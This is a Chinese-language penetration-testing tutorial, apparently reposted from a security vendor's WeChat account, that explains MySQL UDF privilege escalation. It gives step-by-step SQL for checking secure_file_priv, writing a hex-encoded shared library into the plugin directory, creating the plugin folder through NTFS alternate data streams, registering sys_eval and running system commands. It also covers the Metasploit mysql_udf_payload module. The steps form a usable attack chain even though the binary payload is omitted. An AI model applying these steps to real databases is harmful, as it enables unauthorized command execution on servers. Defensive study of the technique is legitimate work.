渗透实战 | MySQL命令执行(UDF命令执行)

admin 2021年2月3日10:06:15评论11 views字数 2818阅读9分23秒阅读模式

一、前言

 

当拿一台mysql数据库或者mysql的SQL注入时,会涉及到mysql的命令执行问题,这时候就需要UDF提权去实现

 

前提条件:

(1)当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:windows 或者 c:windowssystem32 目录下。

(2)当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xxlibplugin 目录下 (libplugin目录默认不存在,需自行创建)。

渗透实战 | MySQL命令执行(UDF命令执行)

 

二、判断当前库是否可以提权

 

2.1查看  secure_file_priv  的值

 

secure_file_priv 是用来限制 load dumpfile、into  outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限

指令:

show global variables like 'secure%';

 

(1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权

 

●如果 secure_file_priv 为NULL是不能写入导出文件和文件夹的。

 

渗透实战 | MySQL命令执行(UDF命令执行)

 

(2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权

●如果 secure_file_priv没有具体的值,则可以写入导出文件。

 

(3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

我们先查看 secure_file_priv 的值是否为空,因为只有为空我们才能继续下面的提权步骤。

渗透实战 | MySQL命令执行(UDF命令执行)

 

●secure_file_priv 的值在MySQL数据库的安装目录的 my.ini 文件中配置。

渗透实战 | MySQL命令执行(UDF命令执行)

 

渗透实战 | MySQL命令执行(UDF命令执行)

2.2查看plugin的值

 

select Host,user,plugin from mysql.user where user=substring_index(user(),'@',1);

(1)当 plugin 的值为空时不可提权

(2)当 plugin 值为 mysql_native_password 时可通过账户连接提权

 

渗透实战 | MySQL命令执行(UDF命令执行)

 

2.3查看系统架构以及plugin目录

 

(1)show variables like '%compile%'; #查看主机版本及架构

(2)show variables like 'plugin%'; #查看 plugin 目录

当MySQL大于5.1时,默认是没有 libplugin 目录的。

在MSF中有windows系统使用的.dll和linux系统使用的.so文件,可以用DllToShellCode反编译文件拿到UDF的源码。

 

渗透实战 | MySQL命令执行(UDF命令执行)

渗透实战 | MySQL命令执行(UDF命令执行)

三、UDF提权步骤

 

创建一个表并将二进制数据插入到十六进制编码流中。你可以通过insert语句或将其分解为多个部分,然后通过update语句拼接二进制数据。

 

3.1 举例:LINUX(64位)UDF提权步骤

 

create table t_tmp(data longblob);

insert into t_tmp values("");

update t_tmp set data=concat('',0x7f(这里太长了,大家自己反编译)0000);

select data from t_tmp into dumpfile "/usr/local/mysql/lib/plugin/lib_mysqludf_sys.so";

create function sys_eval returns string soname 'lib_mysqludf_sys.so';   #创建函数sys_eval

 

执行完上面的语句就可以得到下图的结果

渗透实战 | MySQL命令执行(UDF命令执行)

 

最后就是命令执行了。

渗透实战 | MySQL命令执行(UDF命令执行)

 

3.2可以尝试利用下面的方法创建libplugin

 

版本范围:5.1.60、5.5.29(5.7、8.0不行)

利用NTFS ADS流来创建plugin文件夹的方法:

(1)0select @@basedir; //查找mysql的目录

(2)select 'It is dll'into dumpfile 'D:\phpstudy_pro\Extensions\MySQL5.1.60\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录

(3)select 'It is dll'into dumpfile 'D:\phpstudy_pro\Extensions\MySQL5.1.60\lib\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录

 

举例1:版本5.1.60

虽然会报错,但是打开文件夹会发现确实新建了目录。

渗透实战 | MySQL命令执行(UDF命令执行)

 

 

渗透实战 | MySQL命令执行(UDF命令执行)

 

渗透实战 | MySQL命令执行(UDF命令执行)

 

举例2:5.7、8.0不能新建:

渗透实战 | MySQL命令执行(UDF命令执行)

 

3.3一些常见执行问题

 

执行select data from temp into dumpfile "G:\phpstudy_pro\Extensions      \MySQL5.7.26\lib\plugin\udf.dll"; 时有可能会出现以下错误,因为当MySQL大于5.1时,默认是没有 libplugin 目录的。而 into dumpfile在写入文件时也不能创建文件夹,所以也就报错了:Can't create/write to file

渗透实战 | MySQL命令执行(UDF命令执行)

而在执行 create function sys_eval returns string soname 'udf.dll'; 命令时出现 1126 - Can't open shared library 'udf.dll'的错误。

要注意操作系统是x64还是x86。

渗透实战 | MySQL命令执行(UDF命令执行)

渗透实战 | MySQL命令执行(UDF命令执行)

 

四、使用MSF进行UDF提权

 

使用MSF中的 exploit/multi/mysql/mysql_udf_payload 模块也可以进行UDF提权。MSF会将dll文件写入libplugin目录下(前提是该目录存在,如果该目录不存在的话,则无法执行成功),dll文件名为任意创建的名字。该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。

渗透实战 | MySQL命令执行(UDF命令执行)

 

 

渗透实战 | MySQL命令执行(UDF命令执行)

 

select * from mysql.func where name = "sys_exec";

渗透实战 | MySQL命令执行(UDF命令执行)

 

手动使用该 dll 文件创建sys_eval()函数,来执行有命令的回显。

create function sys_eval returns string soname "XJhSEGuE.dll";

select sys_eval("whoami");

渗透实战 | MySQL命令执行(UDF命令执行)

渗透实战 | MySQL命令执行(UDF命令执行)

 

 

 

 

天磊卫士|专注网络安全服务

咨询热线:400-654-0108

官网:https://www.uguardsec.com

分支机构:深圳、海口、北京、青岛、汕尾

漏洞扫描|整改加固|渗透测试|APP安全评估|安全运维

系统入网|上线安全评估|代码审计|应急响应|应急演练

 

原文始发于微信公众号(天磊卫士安全团队):渗透实战 | MySQL命令执行(UDF命令执行)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年2月3日10:06:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透实战 | MySQL命令执行(UDF命令执行)https://cn-sec.com/archives/1052758.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息